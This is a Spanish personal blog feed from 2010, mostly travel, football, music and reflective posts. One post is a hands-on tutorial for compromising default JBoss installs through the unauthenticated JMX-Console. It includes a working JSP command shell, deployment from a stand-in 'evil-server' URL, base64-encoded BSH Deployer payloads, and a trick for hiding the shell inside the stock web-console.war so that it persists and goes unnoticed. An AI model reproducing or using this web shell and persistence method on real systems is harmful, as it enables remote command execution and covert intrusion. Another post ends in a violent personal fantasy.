SYNsthesia

Marrakech, la perla del sur

Willy Devil — Mon, 16 Aug 2010 09:54:07 +0000

Marrakech, ciudad de contrastes, la perla del sur, ciudad de Dios. Recientemente, he tenido la oportunidad de vivir, sufrir e impactarme al mismo tiempo, del ritmo de esta ciudad, de sus gentes. ¿Que palabra usaría para este que ha sido mi ultimo viaje? Impactante, sin ninguna duda.

No dejo de pensar las sensaciones vividas. Pocas ciudades logran hacerte sentir miedo, respeto, curiosidad y rechazo en un mismo minuto, en una misma calle, en una misma esquina o puesto.

Si hablamos de Marrakech, hablamos de la Medina, del centro antiguo de su ciudad, rodeado de murallas que se mimetizan con el color de su tierra, edificios de siglos de antiguedad no rehabilitados, en donde vive su gente, callejones oscuros, en los que la sensación de ser asaltado de un momento a otro, es continua.

Los olores te invaden las fosas nasales, especias, miel, olor a heces, debido a las fabricas artesanales dedicadas a curtir piel de todos los tipos (vaca, cabra, cordero). Cada esquina, un mundo, cada esquina, un contraste.

Sus gentes, algunos siempre acompañan todo de una sonrisa, otros, parecen tristes, enfadados u oprimidos, es extraño, y al mismo tiempo, te preguntas si verdaderamente es feliz la gente de esta ciudad.

Tuve la suerte de poder ir coincidiendo con el mes de Ramadan, el mes del ayuno que todo musulman sano y adulto debe de practicar. Gracias a este hecho, me cruce con oceanos de gente camino a la Mezquita Kutubia, desde donde los muecines, llaman a la oración cinco veces al día, como si de gritos de guerra se trataran. Estos hacen que la piel se ponga de gallina, es impresionante, sobre todo, al anochecer.

El trafico, invade las calles, sin ningun orden, los semaforos existen, pero son respetados en el menor de los casos, con lo que cruzar, se hace una aventura, zigzageando entre motocicletas de hace 20 años y coches y autobuses destartalados. El sonido de los cascos de los caballos golpeando contra el suelo, hace retroceder tu mente 200 años a atras, y olvidar que me encontraba en pleno siglo XXI.

Marrakech, una ciudad no apta para miedosos, para intolerantes (aunque se hable de intolerancia a la mujer por parte del islam) y para poco aventureros.

Pero dos días, no dan para mucho. ¿Volver? Quiza algún día. Marrakech siempre esperara ahi, con sus murallas y su incesante ajetreo.

Control mental

Willy Devil — Thu, 29 Jul 2010 11:22:10 +0000

Detente. ¡Detente!. ¡¡Detente!! El tiempo se detiene por fin, y yo, hago lo mismo para observar. Observo la ansiedad que me invade, observo la presión a la que soy sometido día tras día por la sociedad, observo el rostro de la gente al contárselo con una mirada de perdón y comprensión, como si de Mesías salvadores se trataran.

Harto, hastiado, ardiendo. Mi cabeza, mis neuronas, forman nuevas conexiones, a veces creo, que en algún momento, por error, se realizara una conexión incorrecta, y mi mente se nublara, se nublara hasta la locura, transformando esta ansiedad, en rabia asesina, en ganas de aniquilar, de matar, como un berserker drogado con amanita muscaria, dispuesto a echarse sobre sus demonios, sobre sus enemigos. ¿Quien maneja mi mente? ¿Un ente superior? ¿El alma? ¿Quien esta ahí para hacerlo? Continua… ¡Continua! ¡¡Continua!! Y la ansiedad, vuelve a mi garganta en forma de vomito ensangrentado, y cientos de caras, me vuelven a mirar con halos de bondad, asco y pena. Algún día, acabare con vuestras vidas… algún día.

Hacking JBoss, un nuevo enfoque

Willy Devil — Tue, 13 Jul 2010 10:01:16 +0000

1. Introducción

Este documento trata sobre la explotación de las posibles vulnerabilidades que pueden aparecer tras realizar una instalación por defecto de Jboss. Los métodos de ataque, siempre serán usando JMX-Console. Podéis descargar el mismo en formato PDF desde aquí.

2. ¿Qué es Jboss?

JBoss es un servidor de aplicaciones J2EE de código abierto implementado en Java puro. Al estar basado en Java, JBoss puede ser utilizado en cualquier sistema operativo que lo soporte.

3. Instalación por defecto

La instalación por defecto de JBoss, escucha en el puerto 8080, y probé de un panel de administración Web muy útil para un atacante, con muchísimas posibilidad para comprometerlo.

4. JMX Console

La consola JMX es la consola de administración de JBoss que proporciona una vista real de los MBeans JMX que componen el servidor. Pueden proporcionar bastante información sobre el servidor en ejecución y le permite modificar su configuración, iniciar y parar componentes, etc. Por defecto se accede a la consola sin autenticación.

5. DeploymentScanner

Para hacer un deploy (cargar) una aplicación personalizada al servidor Jboss comprometido, se utiliza el DeploymentScanner añadiendo una URL o un Path (ruta) con la aplicación WAR a cargar.

DeploymentScanner, chequea regularmente las URL’s introducidas. Por defecto, chequea la URL file:/[JBOSSHOME]/server/default/deploy/, pero con el comando addURL(), es posible una nueva URL para la carga (p.ej: www.evil-server.com/aplicacion.war). Jboss intentara descargar la aplicación desde la URL indicada. Una vez descargada, Jboss cargara la aplicación en el aplicativo propio, normalmente pasado un minuto.

En algunos casos, este método no funciona debido a los posibles filtrados de I/O, como por ejemplo, un firewall.

5.1 Realizando un Deploy

Es necesario una estructura específica de la aplicación, creando un WAR con el directorio WEB-INF.

A continuación un ejemplo de una aplicación de consola remota totalmente funcional[1]:

$ echo 'A continuación el JSP'
$ cat > cmd.jsp
< %@ page import="java.util.*,java.io.*"%>
< %
%>
<html><body>
Commands with JSP
<form METHOD="GET" NAME="myform" ACTION="">
<input TYPE="text" NAME="cmd"/>
<input TYPE="submit" VALUE="Send"/>
form>
<pr3> < ---Sustituir por pre--->
< %
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "
");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
pr3> < ---Sustituir por /pre--->
body>html>
$ echo 'El fichero web.xml en el directorio WEB-INF con la configuración de la aplicación'   
$ mkdir WEB-INF
$ cat > WEB-INF/web.xml
< ?xml version="1.0" ?>
<web -app xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
         version="2.4">
    <servlet>
        servlet><servlet -name>Commandservlet>
        <jsp -file>/cmd.jspjsp>
 
web>
$ echo 'Ahora lo empaquetamos en WAR'
$ jar cvf cmd.war WEB-INF cmd.jsp
$ echo 'Copialo en el webserver en donde quieres que Jboss lo descargue'
$ cp cmd.war /var/www/localhost/htdocs/

5.2 Haciendo el deploy

Accedemos a la sección “jboss.deployment” y entramos en el apartado llamado “flavor=URL,type=DeploymentScanner”.

Una vez dentro, buscamos la sección voidURL().

En ParamValue introducimos la URL maliciosa (http://evil-server/cmd.war) en donde tenemos la aplicación WAR generada y realizaremos la invocación.

Jboss, hace re-comprobación de aplicaciones cada minuto, con lo que una vez pasado un minuto (aproximadamente), Jboss cargará la aplicación y accederemos a nuestra aplicación (en este caso http://hacked-server/cmd/cmd.jsp).

6. Posibles problemas

a) Bloqueo de I/O por un Firewall

Podemos encontrarnos con que existe un Firewall que no permite a Jboss la salida hacia internet, pero si la entrada, con lo que en este caso, no se puede subir un WAR del modo anterior, con lo que utilizando el método addURL(), no sería posible realizar un deploy. Para ello encontramos el llamado BSH Deployer.

BSH Deployer, nos permite, a través de un lenguaje propio de scripting (similar a JAVA), realizar la carga de un script para poder subir un fichero y ubicarlo en el directorio que deseemos. Para ello, buscaremos la sección BSHDeployer en el panel principal de la consola JMX.

En el apartado java.net.URL.createScriptDeployment() encontraremos dos parámetros para introducir, en el primer parámetro se debe de introducir la cadena del script creado y en el segundo parámetro debemos introducir el nombre del directorio y del fichero que queremos crear una vez que el script haga la decodificación del WAR en base64.

Una vez subido el fichero deseado, en nuestro caso, un WAR con una Shell en JSP, a través de DeploymentScanner, usaremos la opción addURL(), en este caso como string

Una vez hecho esto, tendremos acceso al servidor con la aplicación cargada en el mismo. Accederemos a la aplicación como se ha comentado en el apartado del DeploymentScanner.

A continuación, el WAR anteriormente generado, codificado en base64 y con el script preparado para realizar la subida del fichero:

import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="UEsDBBQACAAIAOp+ljwAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgACADqfpY8AAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAmY6RnEGxopaASX5in4ZiYX5RdXFpek5hYreOYl62nycvFyAQBQSwcI7sxS0EcAAABHAAAAUEsDBAoAAAAAAI1+ljwAAAAAAAAAAAAAAAAIAAAAV0VCLUlORi9QSwMEFAAIAAgAjX6WPAAAAAAAAAAAAAAAAA8AAABXRUItSU5GL3dlYi54bWyFj81ugzAQhO9+CuS7vYTmhAh5gfTS5NBb5JptMfIPYh3M49egiKqn3Fb7zezONOfF2WLGiUzwJ36QJS/OLWsSfgk1jkWmnk68j3GsAQY1K0kPL3VwkBF4gqFC5GzT1QuZXZtSkulNhukHqrI8wOf75ap7dEoYT1F5vbrI1LQtL0GruEV48Yq94PBMfq/uR7lQx9lerpJHnqsRTrPF+DcJrxy2H9jdULni2qO1DfxjrBloFN/GYguDW4QOnoJFmLCL2SNo9cisaWAXsv3GOj5TtYz9AlBLBwjc7uTl1AAAAHIBAABQSwMEFAAIAAgAPIaVPAAAAAAAAAAAAAAAABEAAAByZWR0ZWFtLXNoZWxsLmpzcH3QXUrEMBAH8PecYiwU0kVygd2KD/uyILjoCUI71pF8bTpxBfHuTtaKRVDykDD/3wxkdu0tJDshkE8xc9+82FdrCpMzm+vLm6LZNO2N2rWKnkBnPBWc2UzIR5utR8asm8GPTQdXPYTiXAfv6pEzhQmkDj3807NVxxwHnGdIAh9KYPJY4fLUncE3HLRgsfeFU2GZjdZDnKUjVbsua2GH8KMofKtVtaK9ZbuGI9V5Ac/wK9EUhC8fEpWFyWUkG+8oYB12fiaHoL/iZQ1Q9xALmySd7IKuodg/RnzIkTWrT1BLBwimyLlg3gAAAJIBAABQSwECFAAUAAgACADqfpY8AAAAAAIAAAAAAAAACQAEAAAAAAAAAAAAAAAAAAAATUVUQS1JTkYv/soAAFBLAQIUABQACAAIAOp+ljzuzFLQRwAAAEcAAAAUAAAAAAAAAAAAAAAAAD0AAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIKAAoAAAAAAI1+ljwAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAMYAAABXRUItSU5GL1BLAQIUABQACAAIAI1+ljzc7uTl1AAAAHIBAAAPAAAAAAAAAAAAAAAAAOwAAABXRUItSU5GL3dlYi54bWxQSwECFAAUAAgACAA8hpU8psi5YN4AAACSAQAAEQAAAAAAAAAAAAAAAAD9AQAAcmVkdGVhbS1zaGVsbC5qc3BQSwUGAAAAAAUABQAvAQAAGgMAAAAA"; BASE64Decoder decoder=new BASE64Decoder(); byte[ ] byteval=decoder.decodeBuffer(val); FileOutputStream fstream=new FileOutputStream("/tmp/cmd.war"); fstream.write(byteval); fstream.close();

b) Limitaciones en los redirectores Apache + Jboss

En determinadas ocasiones, podemos encontrar la limitación de que se ha configurado el servidor para servir paginas HTML estáticas y a su vez aplicaciones JSP. Esto hará que cualquier petición fuera de la “acl” creada en JBOSS para la carga de aplicaciones JSP, se redirigirá a Apache y nos dará un error 404 (Not Found), ya que es Apache quien interpreta esa petición y no encuentra la aplicación que hemos cargado, aunque realmente, si lo está.

Para evadir o by-passear este método de, en cierto modo, protección, podemos cargar directamente un JSP, sin realizar un empaquetado en WAR, con el método utilizado en BSH Deployer. Cargaremos la shell JSP en el interior de un WAR que existe por defecto en la instalación de JBOSS (web-console.war) y podremos realizar la llamada a la shell directamente como http://hacked-server/jmx-console/cmd.jsp. Esto nos servirá para dos cosas:

1) Si existe un reinicio del servidor JBOSS, la aplicación WAR que hemos cargado no se cargara automáticamente, con lo que perderemos el acceso. Con este método, esto no ocurre, ya que el jsp se carga con los módulos por defecto de JBOSS, con lo que siempre, será cargado, a no ser, claro, que estos módulos, sean deshabilitados.

2) Es más discreto, ya que no aparece cargada en el listado de aplicaciones cargadas y esta oculta dentro de un WAR estándar.

Para realizar esto, codificaremos el JSP en base64, en vez de el fichero WAR y usaremos la misma mecánica anteriormente citada, con la diferencia, de que en el script BSH, al hacer la recodificación a fichero, usaremos directamente la ruta del directorio a atacar (en este caso /usr/jboss-4.2.0.GA/server/default/deploy/management/console-mgr.sar/web-console.war/cmd.jsp).

A continuación el script utilizado para realizar la carga con el JSP codificado en base64:

import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSAhPSBudWxsKSB7ClN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7ClByb2Nlc3MgcCA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoY21kKTsKT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CkRhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWFtKGluKTsKU3RyaW5nIGRpc3IgPSBkaXMucmVhZExpbmUoKTsKd2hpbGUgKCBkaXNyICE9IG51bGwgKSB7Cm91dC5wcmludGxuKGRpc3IpOwpkaXNyID0gZGlzLnJlYWRMaW5lKCk7Cn0KfQolPgoK"; BASE64Decoder decoder=new BASE64Decoder(); byte[ ] byteval=decoder.decodeBuffer(val); FileOutputStream fstream=new FileOutputStream("/usr/jboss-4.2.0.GA/server/default/deploy/management/console-mgr.sar/web-console.war/cmd.jsp"); fstream.write(byteval); fstream.close();

7. Notas finales

Este documento, se trata de un borrador inicial, realizado como un “how-to” de distribución interna, pero he decidido publicarlo, es posible que debido a ello existan erratas en el documento.

Quiero agradecer a Jörg Scheinert el permiso que me ha dado para publicar la shell que el utilizo en su día para ilustrar su documento.

También agradezco desde aquí a mis antiguos compañeros (Paco, J.I y David), por haber dedicado horas a investigar junto a mi, gracias a las cuales, logramos encontrar una nueva forma de bypassear la seguridad de Jboss.


[1] Shell obtenida del documento Hacking Jboss de Jörg Scheinert

Esta obra está bajo una licencia de Creative Commons.

España, vuelve a ser grande

Willy Devil — Mon, 12 Jul 2010 11:06:45 +0000

Tras una vida de sequía en el fútbol, España se coloca a la cabeza del mundo. Ayer día 11 de Julio del 2010, toda España estaba unida y avanzaba hacía un objetivo común, ganar el mundial que tanto hemos deseado siempre. ¿Y lo conseguimos?

No, hicimos mucho mas. Un partido épico, cercano a una batalla medieval, en donde las emociones saltaban a cada pase, a cada sucia entrada que recibíamos… en cada ocasión de gol se escucha un “Uyyyyy!” de una garganta única compuesta por mas de veinte millones de Españoles. Hoy, es historia, hoy, España vuelve a ser el imperio que fuimos antaño. Esto es emoción, esto, es fútbol, esto es rojigualda, esto es España.

El placer de estar solo

Willy Devil — Wed, 23 Jun 2010 12:40:51 +0000

Mucho tiempo sin escribir, como viene ocurriendo desde estos meses atrás hasta a ahora. Puedo decir, que quizá he perdido un poco la inspiración, surgen ideas nuevas, sin duda, pero se me hacen difíciles plasmarlas.

La vuelta a los cambios también influye, nuevo trabajo, nuevos problemas que combatir y superar, proyectos, ideas, ocupan mi mente a lo largo y ancho del día.

Este momento, lo he tomado para romper la barrera entre el trabajo y la vida personal, para detenerme y analizar el vertiginoso ritmo de vida que llevamos:

- Levantarse (6:50 am)

- Desayunar (6:55 am)

- Ducharse (7:05 am)

- Vestirse (7:15 am)

- Subirse al autobús (7:30 am)

- Subirse al metro (7:40 am)

- Gimnasio (7:55 am)

- Ducharse (8:50 am)

- Vestirse (8:55 am)

- Trabajo (9:00 am)

- Comer (1:30 pm)

- Trabajo (2:00 pm)

- Salir a casa (7:00 pm)

- Llegar a casa (7:30-8:00 pm)

- Descansar un poco (8:40 pm)

- Preparar la cena (9:00 pm)

- Cenar (9:40 pm)

- Descansar un poco más (10:00 pm)

- Acostarse (11:30 pm)

En todo este tiempo, en todo el desglose de horas realizado (a grandes rasgos y sin entrar lógicamente excesivamente en detalles, y contando con que hay días que la rutina cambia), ¿cuanto tiempo tenemos para nosotros mismos? ¿Para estar por y para nosotros, por y para nuestra mente?

En el transporte publico, logro centrarme en mis pensamientos, en el gimnasio, estoy por y para mi. ¿El resto del día? Trabajo, amigos, familia, etc. No quiere decir que los repudie, ni mucho menos, las amistades, son muy importantes (y hay que cuidarlas, como a la pareja), al igual que mi familia, pero creo que no sabemos (o no sé), gestionar y buscar el máximo de tiempo para estar conmigo (aunque lo intento).

La soledad, como creo que he comentado alguna vez, es algo necesaria, vital, y es muy importante, saber aprender a estar así. Estando solos, la mente puede jugarnos malas pasadas, pero también, si conocemos nuestra forma de pensar, puede traernos grandes beneficios.

Creo que deberíamos aprender a gestionar mejor los tiempos, a ser mas conscientes de cada cosa que hacemos, como por ejemplo, disfrutar de la ducha rápida de la mañana, notar el agua caliente como cae sobre ti, como moja tu cara, cuerpo y cabello. En el gimnasio, notar como cada fibra de tus músculos tira de ti (o tiras tu de ellas), como las gotas de sudor corren por tu espalda, etc. Y en los momentos de descanso, centrarse en como te da el sol al lado de la ventana en la que estés, o como respiras y tratas de controlar tu respiración para que sea lo mas calmada posible.

Somos nosotros siendo acompañados por el mundo, no lo olvidéis, no el mundo que empuja de nosotros, aunque a veces parezca que así es. 1, 2, 3… Relax… 4, 5, 6… Mayor relajación… 7, 8, 9… Aun mas relajación… y 10, eres tu contigo mismo, aprende a disfrutarlo.

Sin dudas en los viajes

Willy Devil — Mon, 31 May 2010 13:22:52 +0000

Navegando por Genbeta, he descubierto una curiosa pagina clon de “meneame” ha creado Trabber . Es una pagina en la cual, los usuarios, dan de alta sus inquietudes respeto al futuro viaje que tienen planeado, y la gente ayuda con sus respuestas o experiencias que han tenido. Interesante recurso a tener en cuenta.

Mas información

Trabber Respuestas | Web Oficial

Phoenix – If I Ever Feel Better

Willy Devil — Tue, 25 May 2010 12:24:06 +0000

Hace mucho que no publico algo en lo que es mi “diario”, y no tengo escusa, es simplemente pereza, o escasez de ideas, o ambas al mismo tiempo. Para recordar viejos tiempos, os enseño un grupo que tuve el gusto de conocer el otro día, Phoenix. Phoenix, es un grupo de Rock Alternativo francés, con casi 10 años a sus espaldas. Este grupo ha tenido colaboraciones desde con Daft Punk, hasta con Air. Sin duda un grupo muy divertido y fácil de escuchar.

Pinche aquí para ver el vídeo

Perseverancia y humilidad

Willy Devil — Mon, 26 Apr 2010 13:44:54 +0000

La esencia del Ninniku Seishin es el espíritu del ninja que ha desarrollado el uso de la perseverancia con el cuerpo, mente y subconsciente.

Es la energía que se debe desarrollar a través del entrenamiento constante.

Es ser capaz de recibir cualquier desaire, para después dejarlo ir, abandonando a la vez cualquier traza de resentimiento (Nintai Seishin).

El verdadero significado de “Nin” es “Kajo Waraku”, mantener un corazón tan pacifico, alegre y amoroso como una flor. No se debe de colocar el sable por delante del corazón.

Muy importante es adquirir también un buen conocimiento de las diversas tácticas que utilizan simultáneamente cuerpo y corazón, de manera que en caso de peligro seamos capaces de “desaparecer”. Esto se conoce como “Kyojitsu Tenkan Ho”, y se utiliza para vencer al mal con las energías de tierra, agua, fuego, aire y vacio, en defensa de uno mismo o de su tierra.

Muere Jack Herer, el emperador del Cannabis

Willy Devil — Wed, 21 Apr 2010 06:59:21 +0000

En su momento, ya hable del cannabis, siempre desde mi propio punto de vista, hable de las cualidades y de sus defectos, y abogué, tal y como sigo haciendolo, por la legalización, como ya se va a debatir pronto en California, por ejemplo, y que pase por un control gubernamental, sanitario y comercial, para que los consumidores, no necesiten buscarlo en el mercado negro, aumenten las arcas del estado, en consecuencia, el PIB del pais. Esta noticia, viene dada por la reciente muerte de Jack Herer, uno de los mayores activistas pro-legalización debido a una complicación cardíaca que venia sufriendo desde septiembre del año pasado.

“Sólo existe un conocido recurso natural, anual y renovable que es capaz de proveer la abrumadora mayoría del papel y los textiles del mundo; de satisfacer todas las necesidades energéticas para la industria, los transportes y los hogares del mundo; mientras que al mismo tiempo reduce la contaminación, restituye la tierra y limpia la atmósfera al mismo tiempo. Y es el cannabis cáñamo… ¡la marihuana!” — Jack Herer, The Emperor Wears No Clothes.

Jack Herer, nació en Brooklin (Nueva York), el 18 de junio de 1939, en su juventud fue miembro del partido republicano y contendió dos veces (1988 y 1992) por la presidencia de Estados Unidos, fundó la organización HEM, Help End Marihuana Prohibition. Una gran figura, con una gran trayectoria. Jack Herer, deja como legado, un nombre de una variedad cannabica ganadora de múltiples concursos en distintos países.

Realidad difusa

Willy Devil — Sun, 18 Apr 2010 13:58:42 +0000

¿Lo he hecho? ¿Realmente lo he hecho? Algunos dicen que si, que me vieron hacerlo, que me oyeron decirlo, pero no soy realmente consciente, no tengo la sensación interior de haberlo hecho, de haberlo dicho, ¿la locura ata mis neuronas en una continua lucha interior? No lo se, pero cada vez mas, la seguridad de no haber hecho lo que se me acusa de haber realizado es mayor. Estoy seguro, pero por mas que lucho, por mas que trato de analizar distintas visiones, distintas formas de pensar, la situación minuto a mi minuto, lo dicho, lo hecho, no vislumbro ni un ápice de lo que se me acusa. ¿Es capaz la locura de cambiar tanto la percepción?